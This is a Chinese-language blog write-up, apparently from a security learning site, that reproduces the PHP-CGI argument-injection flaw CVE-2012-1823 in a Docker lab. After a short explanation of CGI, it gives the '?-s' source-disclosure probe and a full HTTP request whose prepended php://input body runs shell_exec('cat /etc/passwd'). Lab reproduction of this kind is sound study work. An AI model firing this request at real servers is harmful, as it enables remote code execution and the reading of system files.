CVE-2012-1823漏洞复现

前言

这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是指http请求中所带的数据)被作为了php-cgi的参数,最终导致了一系列结果。

CGI即通用网关接口(Common Gateway Interface),它是一段程序, 通俗的讲CGI就象是一座桥,把网页和WEB服务器中的执行程序连接起来,它把HTML接收的指令传递给服务器的执行程序,再把服务器执行程序的结果返还给HTML页。

复现

在相应的漏洞环境中输入

docker-compose up -d

生成环境
访问:http://your-ip:8080
CVE-2012-1823漏洞复现_第1张图片
环境成功搭建了,接下了去复现。
访问http://your-ip:8080/index.php?-s
CVE-2012-1823漏洞复现_第2张图片
可以看到爆出了代码,证明漏洞存在的
抓包构造数据包

GET /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.104.157:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 44

<?php echo shell_exec("cat /etc/passwd"); ?>

CVE-2012-1823漏洞复现_第3张图片

你可能感兴趣的:(漏洞复现)